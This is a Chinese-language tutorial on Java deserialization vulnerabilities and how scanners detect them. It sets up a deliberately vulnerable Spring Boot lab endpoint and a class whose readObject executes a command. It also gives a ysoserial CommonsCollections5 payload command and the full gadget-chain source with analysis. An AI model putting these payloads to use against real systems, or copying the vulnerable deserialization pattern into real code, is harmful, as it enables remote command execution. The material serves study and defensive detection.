【世界播资讯】java反序列化漏洞及其检测
【摘要】 1 java反序列化简介java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。 1.1 什么是反序列化Java 序列化是指...
java反序列化是近些年安全业界研究的重点领域之一,在Apache Commons Collections 、JBoss 、WebLogic 等常见容器、库中均发现有该类漏洞,而且该类型漏洞容易利用,造成的破坏很大,因此影响广泛。
(资料图片)
在本文中将先介绍java反序列化漏洞的原理,然后在此基础上介绍安全工具如何检测、扫描此类漏洞。
Java 序列化是指把 Java 对象转换为字节序列的过程,序列化后的字节数据可以保存在文件、数据库中;而Java 反序列化是指把字节序列恢复为 Java 对象的过程。如下图所示:
序列化和反序列化通过ObjectInputStream.readObject()和ObjectOutputStream.writeObject()方法实现。
在java中任何类如果想要序列化必须实现java.io.Serializable接口,例如:
public class Hello implements java.io.Serializable { String name;}java.io.Serializable其实是一个空接口,在java中该接口的唯一作用是对一个类做一个 标记让jre确定这个类是可以序列化的。
同时java中支持在类中定义如下函数:
private void writeObject(java.io.ObjectOutputStream out) throws IOExceptionprivate void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;这两个函数不是java.io.Serializable的接口函数,而是约定的函数,如果一个类实现了这两个函数,那么在序列化和反序列化的时候ObjectInputStream.readObject()和ObjectOutputStream.writeObject()会主动调用这两个函数。这也是反序列化产生的根本原因
例如:
public class Hello implements java.io.Serializable { String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec(name); }}该类在反序列化的时候会执行命令,我们构造一个序列化的对象,name为恶意命令,那么在反序列化的时候就会执行恶意命令。
在反序列化的过程中,攻击者仅能够控制“数据”,无法控制如何执行,因此必须借助被攻击应用中的具体场景来实现攻击目的,例如上例中存在一个执行命令的可以序列化的类(Hello),利用该类的readObject函数中的命令执行场景来实现攻击
在这里我们构造一个有漏洞的靶场进行漏洞复现测试:使用spring-boot编写一个可以接收http数据并反序列化的应用程序。
使用 https://start.spring.io/ 生成一个spring-boot应用,选择Maven Project、java8
下载到本地,导入IDE,修改 pom.xml加入 Apache Commons Collections 3.1 依赖(该版本存在反序列化漏洞)
修改 DemoApplication.java 为如下代码
package com.example.demo;import java.io.IOException;import java.io.ObjectInputStream;import javax.servlet.http.HttpServletRequest;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.bind.annotation.GetMapping;@SpringBootApplication@RestControllerpublic class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @GetMapping("/hello") public String hello() { return "hello world"; } // 反序列化接口 @PostMapping("/rmi") public String rmi(HttpServletRequest request) { try { ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = (Object) ois.readObject(); return "unmarshal " + obj.getClass().getName() + " ok"; } catch (ClassNotFoundException | IOException e) { return "unmarshal failed"; } }}此时我们就完成了一个有 Apache Commons Collections 漏洞的验证靶场,启动该靶场应用
我们使用 ysoserial 生成攻击payload:
java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc然后使用 httpie 发送攻击payload(poc)
http post http://127.0.0.1:8080/rmi < poc这时候就可以看到poc中的命令执行了
在1.2 的示例中我们使用了 ysoserial 的 CommonsCollections5这个payload,本节我们对此poc进行分析
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( // 执行“链条”该类的transform会调用transformer使用反射执行命令 new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), // 这里是我们输入的命令 calc.exe new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 该类的toString会最终调用lazyMap.get BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类,readObject会调用entry.toString Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val;}可以最终反序列化的对象为 javax.management.BadAttributeValueExpException,在该类提供了 readObject 方法,在其中有问题的地方为
val = valObj.toString();这里的 valObj 为 TiedMapEntry(lazyMap, “foo”) ,该类的toString方法
public String toString() { return this.getKey() + "=" + this.getValue();}其中 this.getValue 为
public Object getValue() { return this.map.get(this.key);}而 this.map 为 lazyMap = LazyMap.decorate(innerMap, transformerChain),在 lazyMap 中
public Object get(Object key) { if (!super.map.containsKey(key)) { // 当找不到key的时候调用transform Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); }}在其中看到,没有找到key的时候,调用了 this.factory.transform(key)
而this.factory为我们构造的包含payload的执行链 transformerChain该transformer会最终通过反射执行命令。
在1中的原理介绍中,我们可以看到,反序列化漏洞需要依赖执行链来完成攻击payload执行。由于反序列化漏洞的特性,在检测的时候漏洞扫描工具一般聚焦已知漏洞的检测,而未知漏洞的检测,安全工具能力非常有限,一般需要专业人员通过安全审计、代码审计等方式发现。
java反序列化漏洞依赖于两个因素:
应用是否有反序列化接口 应用中是否包含有漏洞的组件因此对应的漏洞扫描工具也需要根据这两个因素进行检测。
白盒代码审计工具,可通过在调用链中查找是否有发序列化的操作:
调用链的入口不同框架是不同的,例如在1.2例子中调用链的入口为spring-boot的controller。 调用链中一旦发现有发序列化操作ObjectInputStream.readObject()则该接口存在序列化操作但仅仅依靠以上信息不足以判断是否存在漏洞,还需要判断代码中是否有存在*执行链**的三方依赖。在java中,一般通过分析 pox.xmlbuild.gradle文件来分析是否包含有漏洞的组件。
web漏洞扫描器检测原理和白盒工具不一样。
首先漏洞扫描器要解决的是识别出反序列化的请求,在这里需要注意的是web漏洞扫描是无法通过爬虫方式直接发现反序列化接口的,因此往往需要配合其他web漏洞扫描器的组件(例如代理组件)来识别反序列化接口,如下图所示
如今web漏洞扫描器都提供了代理组件来发现应用的http请求,爬虫组件可通过前台页面触发请求进入代理组件;但在API场景下,还是需要测试人员进行API调用该操作才能够产生http请求数据。
在截获到http请求数据后,代理组件可以通过两种方式判断一个请求是否是序列化请求:
通过http请求的Content-Type,具体来说ContentType: application/x-java-serialized-object 是序列化请求的请求头 检查请求数据的开头是否是 0xaced,有时候序列化请求不存在正确的content-type,此时需要根据数据来判断是否是序列化请求在确定一个接口是序列化接口的时候会漏洞扫描器会发送探测payload判断接口是否有反序列化漏洞,这里的攻击payload类似于1.2节中使用的ysoserial 工具,由于绝大多数情况下不可能看到回显(http返回数据没有攻击执行结果),因此只能进行盲注,即发送 sleep 10 这样的命令,根据响应时间判断是否有漏洞。
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